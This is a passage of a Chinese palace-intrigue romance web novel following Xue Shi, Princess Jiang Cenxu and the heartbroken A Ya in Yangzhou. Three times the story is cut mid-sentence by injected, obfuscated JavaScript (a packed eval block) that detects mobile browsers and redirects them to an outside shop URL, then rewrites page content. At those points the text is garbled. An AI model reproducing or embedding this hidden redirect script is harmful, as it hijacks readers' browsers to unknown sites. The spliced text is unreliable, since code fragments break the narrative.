薛适颇有几分说书的腔调,悠悠开口:“不然,大仇得报之后何不回到家乡?反而三年来一直留在这。想必是在等她的郎君出来,好弥补一番,求得原谅。” “薛待诏倒会想象,想必很会写话本。”“江八哥”切换回江岑许,讥诮地笑了笑,“等回长安,薛待诏不如写出戏给本宫看看?” 薛适倒是听出了江岑许话中的情绪,看来她不喜欢这个版本的结局,那她觉得该是什么样的呐。 薛适本想问问,但江岑许一上马车就阖上了眼,想来伤没好又走了这么久的路,身子应该很虚弱,薛适便没再问,只蹑手蹑脚地靠在一旁,静静看着她。 今天的江岑许没有着平日常穿的鲜艳颜色,而是一反常态地穿了黑,衬得整个人更加冷冽英挺,给人一种男生女相……不对,是—— 想到这,薛适百转的思绪忽地一滞。 她刚才的第一反应,为什么会觉得江岑许男生女相? 一瞬间,种种细密纷繁的零碎画面如团团牵理不清的绳结,彼此纠织缠绕着,迫得薛适看向江岑许的目光不自觉地又深绵了几分。 蓦地,胳膊忽然一痛,身旁江岑许已睁开眼,将她整个人扯到了胸前。 “别看了。”江岑许似笑非笑地看向薛适,然后抬手一点一点将薛适额上的发带扯下,覆在眼前。 遮蔽的视线,无声放大了薛适急促鼓曳的心跳,她紧张得颤了下身,刚想赶紧开口,耳畔却已先一步熨过身旁人温热的气息,江岑许扣着她的后颈,微微侧过贴近,含笑的语调沉哑而邪气。 “本宫伤还没好,而且在车里,不方便。” “?” 薛适听得直接大脑一片空白,一颗心跳得更加厉害,连动也不敢,身子僵硬,重而疼。 终于到了刺史府,薛适匆匆同江岑许道了声“殿下好眠”,就急急跳下马车回房了。 江岑许默默将薛适绯红的颊色看在眼里,勾了勾唇。 然而接下来很长一段时间,薛适都没怎么见过江岑许,就连临辞也很少出现。 薛适则日日照旧,白天和江措一起在请愿寺门口摆摊,收摊后则借着改赋的名义从清弥法师那打探消息。 这段时间,薛适根据清弥法师先前的提示,特意将代笔客人相对好实现的心愿记下,如“希望生病的父亲早日痊愈”,她便拿着自己这段时间代笔赚的银子找城中最好的大夫开良药;又如“愿年末书院的诗文考试自己不再是倒数第一”,她便收摊后前去教导…… 江措则是找人将这些宣扬,但又不抹灭请愿人本身的努力,如父亲痊愈离不开子女长久悉心的照顾;少年人诗文提高离不开他日日闻鸡起舞的勤奋…… 渐渐地,这些代笔的客人更加不依赖请愿寺,只觉很多事靠他们自己就可顺遂如意,犯不着专门进寺花香火钱向清缘住持许愿。顶多到薛适这求个用梵文写的祈愿符沾沾好运,还远比香火钱便宜。 一切都在顺利进行,直到有一天,摊前来了个客人。 “姑娘是……一直跟踪我的那个人?” 眼前的女子双十左右,鼻梁高挺,骨相优越,整个人明艳又飒爽,深邃的眼窝衬得她看向薛适的目光带了些动人的妩媚。 只是,如果能忽略掉其中些许幽怨的话。 薛适甫一对上这道目光,先前经常暗暗盯着她的那道视线立刻有了具体的实感。当时她本以为是江接的人,但眼下看这姑娘似乎不是。 “久仰了。本小姐阿雅,见过——薛公子?”阿雅摆明了默认自己跟踪的事,出口的话虽语义上恭敬,语调却是带了明显的敌意,还刻意在“薛公子”几个字上加重了音调。 江措皱了皱眉,率先开口:“阿雅姑娘想代写什么?是祈求心愿的梵文符纸,还是其它?” 阿雅面无表情地看了眼江措,最后又看向薛适,嘲讽道:“男人还真多。” “嗯?”薛适不明所以。 “本小姐是说,如果遇到了水性杨花、到处勾引男人的坏女人,该写什么骂她?”阿雅一字一顿道。 薛适明白过来。怪不得这位阿雅姑娘一来就这么大火气,想来是遭了背叛,受了情伤。 不过为什么……她总觉得阿雅这话像是在对着她说呐。 心里虽阵阵疑惑,但面上薛适却依旧是笑眯眯的温和模样:“阿雅姑娘的要求方便再说的详细些么?比如那个坏女人是怎么做的、阿雅姑娘想表达多少字、是想写得直白还是含蓄……诸如这些。” “没问题!”听了薛适的话后,阿雅的脸色更加难看了,近乎咬牙切齿道,“那个坏女人,身旁有了个男人不说,还特地跑到寺庙里勾引别的男人!偏她还笑呵呵地像没事人一样,可能因为女扮男装所以才唔……” 薛适这下彻底反应过来,她忙伸手捂住阿雅的嘴巴,又看向身旁目露不解的江措,艰难扯出个笑:“阿雅姑娘……有些特殊,二皇子在这等我一下,我和她单独聊一聊,代笔效果可能更好。” 阿雅扑腾着手狠狠挠向薛适的手背,薛适忍着痛,一边推着她一边小声道:“阿雅姑娘,可不可以……不在这说女扮男装的事?我们去旁边的茶楼聊,我想我们之间应是有些误会,但你放心,你想知道的我都会告诉你,如果我骗了你,你再回来当着大家的面揭穿我。” 薛适带着阿雅挑了靠里的位置坐下,没想到的是,在她解释完之后,刚刚还是娇纵模样的女子却立刻红了眼。 她紧咬着下唇,却依然抑制不住颤抖:“清弥……法师?你是说,经常和你在请愿寺出入的那个男人,是法师?他……是和尚?” 阿雅知道他一向特立独行。她本以为,他是……为她剪了头发,却原是她自作多情。 他们现在,彻底是两个世界的人了。 薛适清楚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13145585|135582||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看见一滴泪从阿雅眼眶掉下,紧接着是交错重叠的泪痕,但阿雅却是执拗地偏开头,狠狠闭了闭眼。 “阿雅姑娘……”薛适已隐隐有了猜测,“清弥法师一直都在请愿寺,有什么事,你可以找他直接问清楚。” 阿雅微微笑了笑,眼神却黯淡得像是变了个人:“刚刚……抱歉了,怪我主观臆断乱冤枉人。” “没事的。” “薛姑……薛公子还需要帮手吗?我想在你同他交流写赋的时候,有机会多看看他。” 薛适有些吃惊地看向她,阿雅见薛适一直不说话,不由慌措地闪着眸光,语调也不自主得抬高了些:“本……我会的东西很多,武功、制毒这些可以保护你,至于代笔方面……我可以帮你磨墨!” 薛适虽觉得阿雅看起来并不像坏人,但防人之心不可无。如果是江接派的阿雅让她从清弥法师这监听,一切便危险了。 薛适前后想了想,打算先将阿雅留下,以不变应万变。 “让姑娘见到清弥法师只是举手之劳,我会帮你的,阿雅姑娘什么都不用做。不如这样,你把住处告诉我,等我每天要去找清弥法师之前过来找你,咱们一起去请愿寺。到时候,我就和别人说你是……” 不等薛适想好,阿雅已率先应道:“阿雅敬仰薛公子代笔之才,想要拜师参学一二。” 于是,薛适突然之间就多了个“徒弟”。 尽管对阿雅还未彻底放下戒备,但从阿雅对清弥法师的态度来看,薛适更倾向于是真的。 那样的话,阿雅应该很喜欢清弥法师。所以那般骄傲的人,会只为看心上人一眼,去求一个刚认识的陌生人帮她。 “你没事吧?”江措见薛适回到摊上,忙上上下下地看了一番,见薛适身上并无伤口,神情也算正常,才暗暗放下心。 “那位姑娘和你说什么了,见你出来后脸色都凝重了些。” 薛适笑着摇了摇头表示没什么,但片刻后,还是有些好奇地问道:“二皇子会为了喜欢的人改变自己么。比如……舍弃原本的性情和骄傲。” 江措微微讶然,猜想可能是那位姑娘和薛适说了些什么,但他并未停顿太久,果断道:“我会改变自己。至于舍弃自己原本的性情和骄傲,因人而异吧。也许薛待诏觉得是舍弃,但之于对方,却是拥有。毕竟,有舍才有得。” 经江措这么一说,薛适渐渐理解了阿雅的选择。 阿雅选择用自己的性情与骄傲,换来一个可以再次靠近喜欢的人的机会。 汝之砒霜,吾之蜜糖。 “那薛待诏呢,你会吗?”江措看向身旁的少女,眸光之中星星点点,缀了些不易被人察觉的紧张和期待。 在都亭驿雨幕中皎瑕的面容;较之男子纤细白皙的手腕。 总是笑着面对每一个人,好像从来都不会生气的模样;以及谈论起代笔时,眼中灼烈明亮的眸光…… 一时间种种画面浮现。 十四岁的少女从小女扮男装,尚且情不知事,所以一向聪敏的她,才会问出这样的话。 当然,也是因为…… 她还未喜欢上任何人。 江措明明心中有了答案,但还是想听薛适亲口告诉他。 薛适没有江措回答的那么迅速又肯定,但她的脑海中,却朦朦胧胧地浮现出一个人影来。 有从指缝间隐约窥见的少年坐在床边,手掌覆于她眼前,为她遮住了又粗又长的银针刺落的画面。 也有都亭驿外的大雨中,少年拦腰将她护在伞下,旋转着撑开伞面挡住江接的袭击。 那是,萧乘风手下的小将军。 他们只见过两面,她却始终欠他一句道谢。 所以……她该胆子大一些,回京后直接找萧乘风打听小将军的下落吗? “薛待诏?”见薛适迟迟不说话,只是盯着空气某处虚无的点发呆,江措出声唤道。 薛适缓过神,她听见自己的声音说:“也许……会吧。” 26. 予糖 这天之后,薛适更为忙碌了。不仅要和江措写赋,还要在请愿寺外摆摊及时留意清缘住持等人的动向,眼下又多了观察阿雅,看看她到底存没存故意接近打探消息的心思。 照例去请愿寺求教清弥法师写赋上的问题,清弥法师坐在石桌前,远远看到薛适身边多了个身影,启唇笑道:“听迟何说薛待诏最近收了个徒弟,看来应是很衬心意,如此贴身带着,形影不离。” 薛适笑应着,余光注意到身旁的人骤然收紧的双手,她不动声色开口:“阿雅,这位是请愿寺的清弥法师,佛法精湛,才学更甚。把你手中的书卷递上去吧,还要烦请法师帮忙查看。” 闻得“阿雅”二字时,清弥法师斟茶的手一顿,眸中愣然转瞬即逝,嘴角甚至浮现了丝不易察觉的苦笑。 桌前渐渐靠近一抹身影,双手端端正正地递上书卷,低眉敛目,恭敬道:“见过法师。” 清弥法师顺着方向抬眸,这一眼,方才逝去的怔愣刹那回笼,他久久盯着眼前的人影,一身书生装扮,发丝尽数拢于冠帽之下,长眉如剑,眼神执着,缓缓与记忆最深处重合。 “多谢。”并未沉默太久,他伸手接过,语气谦和有礼。 短暂凝固的空气再次流通,好像刚才无形之间汹涌的万般思绪,只是因无风吹拂,才产生了一时的闷滞。 清弥法师给薛适讲解的时候,阿雅就站在一旁,遥遥望着。 此时已是秋末冬初,天气渐冷,但她的记忆,却永远停留在盛夏。 吵吵闹闹的书院角落,窗外枇杷树结了果,有人微红着脸,咬紧唇瓣企图掩盖“男子”不该有的羞涩:“白公子,你……不会嫌我笨吗?连字都写不好。” “怎么会。”与清弥法师一般无二的男子一身白衣,青丝束于簪,笑容温和,气质清绰,“你也没有嫌我武学太差,连自保的功夫都学不会。” “那我们说好了,以后你教我习字,我教你练武!” “好,我答应你。”男子说完,掏出支较细的笔,和书院常用的显然不是相同的尺寸和粗细,做工也更粗糙,但纹样却刻着小小的祥云,很特别。 “你还没有掌握好握笔的力量,所以先用较细的笔,会更合适些。这是我亲手做的,送给你。” …… 忽然,起风了。吹落了阿雅藏于帽间的几缕青丝。往事亦如风,眨眼消散。 她还是没能学会习得一手漂亮的字,也没来得及将自己的武功教给那个她喜欢的人。 她以为只要她再次走向他,跨越山河万里,他们就还可以回到从前,亦或重新开始。 可如今,她与他,隔着难以打破的红尘。 她是他不愿再提起和回忆的前尘俗世。 薛适将一切默默看在眼里,越来越确定阿雅来到她身边不是怀有阴谋和算计,只是无法抑制地想见一个人。 回去的路上,她轻声问道:“阿雅姑娘,今日见到之后,你还想,再见到他么。” “想。”阿雅没有犹豫。 薛适蓦然回忆起与清弥法师不过几次见面,他很轻易就识破了她的女扮男装。那时候薛适没有注意到清弥法师眼中一闪而过的异样眸光,如今想来,应该名为怀念。 她笑了笑:“既然姑娘认我做了师傅,无论时限多久,我总归要教徒弟一些本事。” 在阿雅惊怔的目光中,薛适转了转指间的毛笔,言笑晏晏:“不如,就从基本的习字开始?” 阿雅望着她,久久不能回神,直到薛适已经在桌案上摆好了笔墨纸砚,才轻轻道:“谢谢你……薛姑娘。” 有教导江岑许的经历在,薛适原以为教起阿雅会很容易,但开始之后,她才发现阿雅的确没什么习字的基础。虽然她并不是不会写字,但不管是握笔的姿势,还是指间发力的位置,都不标准,致使她写出的字歪歪爬爬,辨认不清笔画。 注意到薛适有些沉重的神情,阿雅故意板起脸,掩饰心底的慌乱:“哼,莫不是你嫌我笨,反悔了,不想收我这个徒弟了?” 看到阿雅敛去这几日落寞的神色,又回到初见时活泼直率的性情,薛适不由笑了笑:“怎么会。这样,阿雅姑娘你先随便写一篇文章,什么都可以,我先看看你原本的习字习惯,然后再对症下药,这样效果会好些。” “那行吧。” 薛适坐在对面,认真看着阿雅一下一下落笔。只过了会儿,她的眉间已是蹙成褶皱,神色也渐渐凝重起来。 薛适发现阿雅习惯将握笔的指端靠得很向下,距笔尖极近。落笔时也不够稳,总是不受控地晃动手腕,因而纸上字篇不够成行,总是歪斜弯曲。 她的指法、握笔……方方面面,并不像是初学者因基础不够牢靠而产生的错误,反倒像是写惯了其他文字,一时改不过来写汉字的方式。 慢慢地,薛适的心底浮现出一个猜测来。 这时候,阿雅也写完了:“呐,你看看吧。” 薛适的脸上已重新露出笑意:“好。”她反复看了几遍阿雅写的字,横竖之间不够锋利,而是圆润平滑,心底的猜测又被证实了几分。 “刚好下午我要去集市,到时候挑些更适合你的毛笔,假以时日,肯定会越写越好。” - 晚上回到刺史府,薛适还是没有见到江岑许,倒是看见了在湖边赏月的江措。 “二皇子,原来你在这!我正要去找你呐。”薛适远远朝江措的方向招着手,怀中还捧了个紫檀木盒。 江措浅浅弯了弯唇:“慢些,注意脚下。薛待诏找我是有急事?” “今天下午我去扬州的集市逛了逛,看见了这个笔筒,想你会喜欢。” 薛适打开紫檀木盒,里面放着羊脂玉制成的笔筒,玉质细腻莹润,外壁刻着竹叶纹饰。 “我看了各种不同材质的笔筒,最后还是觉得用玉制成的更符合你。” 玉石温润却坚硬,而笔筒虽纳笔于腹中,却并不据而有之,视其为腹中之物[1]。 很符合江措给薛适的印象。 “为什么……要送我礼物?”江措的声音很轻,脚步一点点地,不由靠向薛适的位置。 “生辰快乐!”眼前的身影粲然一笑,眉眼动人,“我在翰林院时,刘掌院有交代过各位皇子的生辰,虽然我们不在京城,但生辰还是要过的。” 薛适没有注意到江措眸间隐隐汹涌的情绪,仍继续说道:“殿下不喜武,偏爱文,所以我还做了支笔给殿下,但太粗糙了些。幸好今天在集市选中了这个笔筒,希望殿下平安顺意,喜乐无虞——” 话音刚落,江措忽地握住了她的手腕。 “怎么了吗……”薛适有些疑惑,但唇边还存着未散的笑。 江措这才回过神,注意到自己的举动,他身形微颤,但很快,又恢复了平日的模样。 他歉然地笑了笑:“谢谢薛待诏,我很开心。”他慢慢收了手上力道,移向薛适怀中的盒子,“托薛待诏的福,自母妃离开后,这是我最难忘的生辰。” “那就好。” 薛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13164795|135582||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 适笑着站在江措身旁,也抬起头,看向天边云幕间若隐若现的月亮。 在他们看不见的身后,江岑许身形隐在树荫,面具之下窥不见她的神色。 但收紧的右手心握着的,是个兔子形状的糖人。 月光下,显得更为灵动蛊诱。 薛适看了会儿月亮,总觉得身后好像有人在望着她,转身环视了圈,只有落了几片叶子的满地树影,并无他人,便只当是错觉。 江措回到房间,小心收好薛适给的礼物后,才注意到桌边多了本诗集,出自他最为欣赏的诗人之手。 他虽心里已经有了答案,但还是坐下翻开,里面果然夹了张字条,上面写着:“二哥,生辰快乐。——江岑许” 江措笑了笑,将诗集一同收好。 窗外月光仍不甚明晰,但他知道,即便如此,也会有人陪他一起。 - 薛适回到房间时,发现自己的笔筒里多了个兔子糖人。她先是一愣,但转瞬就反应过来,笑着跑向旁边的房间。 “殿下,你是不是回来了?”薛适站在门前,有些迫不及待。 片刻后,里面传来江岑许的声音:“进。” 一连几天没见到江岑许,薛适觉得眼前的人脸色有些差。想来是忙着调查,没有休息好。 她几步走向江岑许坐着的书案前,语调轻快:“我来给殿下送糖人了!” 江岑许挑了挑眉,抬头看向她,只见薛适举着双手,左手一个兔子糖人,而右手的千叶莲状糖人,正递向她。 “不喜欢,苦,一看就是劣质糖做的。” “怎么会?”薛适一口咬下兔子糖人的耳朵,“殿下送我的这个糖人明明就很甜。” 江岑许站起身,嗤笑了声,语气有些淡:“薛待诏凭什么觉得,是本宫送的?” 这一问,薛适也愣住了。她当时根本没多想,第一反应就觉得是江岑许送的。 可能是因为,在她心里,认识的所有人之中,江岑许与她是最为亲近的。 但眼下看江岑许的反应,薛适又有些不确定了。 不过这些迟疑只一瞬就悄然消散。 薛适暗暗摇了摇头。 怎么与江岑许相处这么久,还是会被她随随便便就唬住呢。 薛适转换了下思维,用江岑许的方式想了想—— 嗯,应该是因为自己猜到是她送的糖人,不好意思了。 江岑许眼看着薛适皱着的眉渐渐舒展开来,嘴角还漾起小小的梨涡,回答道:“因为很甜。” 薛适小口小口地吃着,继续道:“只有殿下这样对任何事都千般认真的人,才会为了最甜的糖人,愿意在所有摊铺前千挑万选。” “说得好像你亲眼看见了一样。”江岑许轻笑了声,在薛适几步之前站定。 见江岑许走过来,薛适忙晃了晃手中千叶莲状的糖人。 “殿下快尝尝我买的。” 江岑许俯下身,凑近轻咬了口。 “怎么样?甜吗?” 如此靠近的距离,江岑许能闻到身旁悠宁清雅的墨香,与之混萦的,还有薛适话语落下时的呼吸,散落在她胸口的位置。 见江岑许迟迟不说话,薛适莫名有些紧张。就在这时,她看见江岑许微抬起头,直视她的眼睛,声音含着丝嚣张的邪气。 “不重要。” 闻言,薛适疑惑地偏了偏头,紧接着,只听对面的人语调微沉,却似带了认真,对她说: “只要,我喜欢。” 27. 初显 薛适站在江岑许身前,紧仄距离下,不得不仰头直视着面具之下那双轻染笑意的眼,眸光温斓却也短暂,像是浓黑夜色下掩在草丛中的一点繁花,借着残映的月光只得瞥见一眼,就足以摄人心魂。 她攥着糖人的手僵硬得微微发颤,一颗心莫名喧燥,让她辨不明缘由。薛适刚要开口说点什么驱散自己难以名状的心跳,江岑许却已起身走远,回到案前。 “事情有些眉目了。” 转回正题,薛适暗暗松了口气,拢回心神思索:“是从水患那查到什么了吗?” 两人本都聪敏,又在一起相处久了,默契更甚。薛适见江岑许虽没说话但眼尾微扬,便接着道:“听二皇子说,三年前扬州水患严重到工部都束手无策,是大皇子亲下扬州治理有道才得以解决。而瘟疫又在水患治理后不久发生,如此巧合的时间点,却有一个共同的地方……” “江接。”江岑许轻笑了声,“为防水患,工部奉旨开始修建钩延渠水利,三年前水患发生时,正是水利快要建成的日子。而三年前扬州的雨量还不如去年之大,去年却并未发生水患。” 薛适明白江岑许的意思。即便三年前与现在对比,水利当时只是快要建成还未彻底完工,但大体防治功能已经可以充分应用。 但前提是,三年前的水利修缮确如预期,不无纰漏。 想到这,薛适猜测道:“难道,当年的修缮有问题?可是为什么后来又能正常拦洪防患呢……” 江岑许玩味地敲了敲桌案,想到这段时间暗中搜集到的证据,语带嘲讽:“兴修水利的官员贪污朝中拨发的银两,选用低价劣质木材,江接查到此事后瞒而不报加以利用,静等水患发生然后再自请治理,不过估计就算水患没有发生,以他的性格也会想方设法人为造出场祸事,目的就是前往扬州。 毕竟以防皇子与地方官员结党营私,父皇从不轻易让皇子前往封地,而江接借着此事,却有了去往自己封地扬州的理由。届时再将官员贪腐的事情揭发,一举重修水利,既赢得了父皇喜爱和扬州百姓信任,又方便他在扬州部署。” “所以现在的关键是……”薛适思忖着,接道,“大皇子千方百计来扬州,到底为了什么?瘟疫、长临书院、清缘住持,与大皇子之间有何关系。” 江岑许能说出这些,想必是收集到了确凿证据,他们与江接抗衡的筹码便又足了一些。 但薛适还是心惊。在这件事里,从头至尾江接没有主动做过什么,他都是在利用别人达到自己的目的。可如果当时他能及时揭发官员贪腐,就算来不及重修水利,早早转移沿岸百姓也不会让那么多人死于灾难。 贪腐的官员、突发的水患、百姓的死亡,每一个与他都没有任何直接关系。他只是旁观者,却藏着最残忍的恶意,漠视生命,玩弄权术,视一切如棋局。 她想收回自己先前的想法。江接作为皇子,所谓的足够勤勉奋进,却是冰冷地漠视所有不能为他所用的人和物。 江岑许眼见薛适垂头沉默着,脸色越来越苍白,几步走向她:“吓到了?” 额上忽地一抹温热,薛适看见江岑许伸手抚了抚她额上细碎的冷汗,叫人分不清指间的触碰,是轻缓还是温柔。 然而下一瞬,就见对面的人转而向上轻敲了下她头顶,语调里却是多了些不易捕捉的哄意。 “又不是不保护你。” 又至深夜,江岑许照例换上夜行衣准备潜往长临书院。 临辞百般斟酌,最后还是不放心地开了口:“殿下,属下跟你一起吧。你伤还没好,书院那边大皇子的人盯得又紧,比前段时日还多了不少人手,属下实在担心。” “你不是查到江接在长临书院布下天罗地网,是为了抓一个人么。他这般费尽心思要抓的人,肯定是关键人物,所以我必须每天盯紧,抢先一步救下那人。” “可是——” “这是命令。” 说完,窗户短暂一开一合间,江岑许已消失在了夜色里。 长临书院这头,江接焦躁地在暗处踱步。 “不是说五天前徐桓应就已经进城了吗?怎么盯到现在也没动静。” 身边侍卫答道:“想来是藏在别处,不敢贸然到书院这来。不过殿下已经在城中各处都派了人手盯着,不管他藏在哪也都是暂时的,肯定逃不出殿下的手掌心。” “哼,这个老东西,当年就数他跑得快,也不知这三年藏哪了跟人间蒸发一样。没想到如今还敢回来,那就别怪本宫赶尽杀绝。” 几个心腹连连称是,直道“殿下仁慈,晚三年才取他性命”,避而不提三年间对徐桓应的追杀不断只是一直没得手的事。 又等了大半柱香的时辰,一连五天都是这样无果,江接实在不耐烦:“本王先回去了,你们几个盯好了。” “是。” 脚步声渐渐远去,夜色又恢复了静寂。 同样一起蹲守五天的,还有此时伏在树上的江岑许。 她轻飘飘看了眼树下,书院斜对面不远处的街道上,大大小小的店铺,古玩、字画、墨宝、雕塑琳琅满目,一应俱全。虽不如白日繁喧,但平日为了吸引客人,特地放置在店铺外如人形般高的大件雕塑,在月色下泛着银灰的暗调,诡谲而引人注目。 江岑许环视了圈四周,见看守的人并未注意到这边,立即跳下树朝对面而去。 她隐于雕塑店门口的几座雕塑背后,含着笑意的声音落于夜风:“第五天也要结束了,”她轻声说着,然后抬手搭在其中一座通体银灰的雕塑上,勾唇一字一顿道,“徐桓应。” …… 在暗处看守的侍卫本以为今日又是一个平静的夜晚,刚懒洋洋地打了个盹,却突然看到有抹黑色身影一闪而过,直向书院飞去。 “追!” 空气中顿时响起拔剑出鞘的声音,侍卫们纷纷向来人袭去。 而被人忽视的另一侧,雕塑店门口的角落少了一座雕塑,但其它几尊高高矗立,又显得一切如常,似乎本该如此。 - 薛适的睡眠一向浅,记忆里似乎只有在江岑许身边的几次格外之深。耳边隐隐传来几不可闻的脚步声,虽不明显,但薛适明显听到来人应是受了伤。她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13188273|135582||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 猛地坐起从床上跳下,顺手拿过桌案上的砚台,轻手轻脚地移向门口屏息聆听。 谁想刚站到门前,门就被来人打开,身影几乎遮盖了倾泻的月光,蒙着浓浓的黑叫人看不清。 只是扑面而来的气味和相近时的感觉让薛适的记忆似乎早已有了出自本能的识认惯性,不等她开口,来人已重重靠在她身上,伴随而来的是吐息在薛适耳侧,带着隐隐压抑的吸气声。 “浴桶……有水吧。” 薛适的鼻子从小就容易发干,所以平日她夜间沐浴之后都会先把水放着用于加湿,好让晚间睡觉时鼻子好受些,等到第二日再倒。 薛适虽心下迟疑,但还是立即应下:“嗯。” 话音刚落,就听到府外传来接连不断“抓刺客”的声音。 不等薛适反应,她只觉视线一动,腰间力量发紧,她被人拦腰抱着,几步朝向浴桶的方向。 经过桌案时,来人脚步顿了顿,笑了声:“快放。攥得这么紧,摔坏了不得心疼。” 眼指薛适怀里捧着的砚台。 薛适反应过来,赶忙放下。但似乎眨眼之间,她刚一放好砚台,下一瞬就被对方极快地带进浴桶之中。 “殿、殿下……”冷不丁的触碰,薛适被早已冰凉的水刺得直打了好几个寒战。 江岑许脱下外套,撑在薛适身后紧紧裹住她,虽依旧发冷,但薛适被江岑许的体温笼罩,较之刚刚温暖了些。 薛适很想开口,问江岑许是不是又受伤了。 因为她从江岑许进门开始,就闻到了她身上的血腥味。 可这样的话一出口,也表明了江岑许会知道自己早已知晓她会武功的事。 虽然她能感受到,最近的江岑许,没有像早在长安时对她藏拙,反倒是多多少少地将自己的真正实力一点点透露给她。 但薛适还是怕。 如今不挑明,就可以当作不知。但一旦开诚布公一切,她怕她们会回到初识那般,江岑许又回到对她起疑心、不信任的时候。 她并不想这样。 薛适思绪飞快,心里有些发乱,倒是江岑许先一步开口,语调依旧云淡风轻,甚至多了丝懒散的笑意:“若是一会儿有人进来,看到我们这样,该如何?” 恍惚间,似又回到了第二次见面。大福殿的红梅树下,江岑许笑着问她,被人看到的话,是要做她的面首,还是与她共沉沦。 那时薛适只当五公主言语轻佻,放浪形骸。但如今,她却能立即明白江岑许的意思。 是要自己为她作掩护。 “微臣……正行男宠之职。” 即便做戏了这么多次,薛适还是会紧张,更何况是现在如此亲密的动作。 “嗯。”不知是不是她身处黑暗才产生了莫名的错觉,薛适觉得身后落下的声音带了丝温柔而惑诱的哑,叫她浑身一麻,不由得动了下身。 “别动。”隔着外套,江岑许紧了紧腰间禁锢的手,按住薛适有些不安分的腰肢。 与此同时,薛适房间的大门被侍卫猛地踹开,紧接着只听一声大喊:“给我搜!” 28. 朦胧 骤然打开的门带进初冬凛冽的风,吹得帘幔摇曳晃动。 领头侍卫左面巡视完,径直向右走去,深处似乎传来阵阵水声,忽急忽缓,平白叫人听出几分旖旎。 领头侍卫脚步有些迟疑,但上头的人下了铁令,必须严查这间屋子,何况薛适再怎么细皮嫩肉也是个男的,没什么好不敢细搜细看的。 他刚要接着往里走,却听一道压着怒意而略显喑哑的声音响起: “怎么,刺史府的人品味都这么独特,喜欢当面看别人翻云覆雨?” 领头侍卫一惊,即便急急收回脚步,却还是透过帘幔看到身影交叠的两个人相拥依存,似是难舍难分。若隐若现间,朦胧而暧昧。 身后跟着的侍卫们皆是瞠目结舌,传闻薛待诏是五公主最受宠的男宠,眼下看来传闻果真不虚。 领头侍卫最先反应过来,忙带头俯身见礼:“五公主恕罪。我等奉太子殿下和刺史大人命令追查刺客。先前有人看见刺客朝薛待诏房间而来,我等实在担心薛待诏安危,眼下看来应是误会,还请公主责罚。” 话中前因后果交代清晰,领头侍卫想着就算五公主再喜怒无常,但他们追查刺客情有可原,说是责罚也不过是面上的谦词。 谁料江岑许却道:“既如此,那本宫就和吴陵维还有大哥说一声,给你们一人赏三十板子吧。本来应该五十的,看在你认错积极的份上免去二十。至于理由么……你们把她吓哭了,我很不高兴。” 薛适窝在江岑许怀里听得目瞪口呆,但还是反应极快地低低抽泣着,明明只有几声,却让薛适喘得比那些用梨花带雨来讨男人欢心的女子还要委屈娇媚。 外面一干人听得大惊失色,最后无语凝噎,只得忍气吞声谢恩离开。 听得脚步声彻底离去,薛适才放下心:“殿下,他们……” 回头的一瞬,两人视线交汇成织,欲出口的话被窗外倾泻的月光轻轻浅浅缠镀,拉扯在似是拥抱的紧靠相贴下,落下惑人的静默。 江岑许望着她,眸光稍暗,先前收紧的怀抱一点一点松开,哑声问:“怎么了?” “没什么……”薛适略重地摇了摇头,想要多多少少驱散自己方才有些混乱莫名的思绪。她索性不再询问,从浴桶中站起,不着痕迹地瞥了眼江岑许右肩及胸口处晕湿的血迹,眉间一蹙,伸出手,“水凉,我扶殿下出来。” 江岑许没应,余光似能看到薛适被水熨帖的衣衫勾勒出身体起伏的弧线。她偏过头,彻底移开目光,半晌道:“不用,我还有事,你先去休息吧。” 薛适虽担心江岑许的伤势,但也只能装作不知,应声离开。这样江岑许也能不用应付她,早些回房处理伤口。 搜查了一圈又一圈的侍卫们实在未追到书院外那名刺客的踪迹,只得心惊胆战地回去向江接复命。 “薛适房间搜了?” “是。” “没有任何异常?”江接背身站在书架前,正屈指把玩着一个青瓷花瓶,虽不见神色,但只听声音也能察觉出极为不快。 带头侍卫只得咬咬牙,故作平静地一五一十道:“除了我等去时,薛待诏正与五公主浴桶共沐,戏、戏水缠绵……” 话音刚落,只听“啪——”地一声。 在领头侍卫的预料下,青瓷花瓶果真被江接摔了个粉碎。 “好、好啊。”江接怒极反笑,“这还说什么了?刺客摆明了就是江岑许!又一次,又一次!她拿薛适那个小白脸当挡箭牌,碍于男女有别、公主身份,就算查到那儿也不好进去细看!” 领头侍卫顶着江接的满腔怒火,低头沉默,姿态谦卑,已经做好了被殃及发泄的准备。然而,本以为大皇子还得发好一通脾气,却听他胜券在握地嗤笑了声,俯身随意捡起枚青瓷碎片,意味深长道:“就暂且让她再猖狂猖狂吧。毕竟也没多少时日了……” - 